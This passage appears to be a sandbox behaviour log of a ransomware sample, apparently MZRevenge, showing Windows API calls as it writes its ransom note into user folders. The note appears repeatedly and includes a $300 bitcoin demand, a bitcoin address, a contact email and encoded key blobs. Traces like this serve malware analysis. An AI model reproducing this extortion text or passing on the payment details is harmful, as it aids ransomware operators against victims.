}============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.765] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.766] CloseHandle (hObject=0x32c) returned 1 [0217.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Favorites") returned 1 [0217.766] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Favorites" (normalized: "c:\\users\\fd1hvy\\favorites")) returned 0x11 [0217.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=6, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Favorites") returned 1 [0217.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Favorites\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\favorites\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\nMZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bD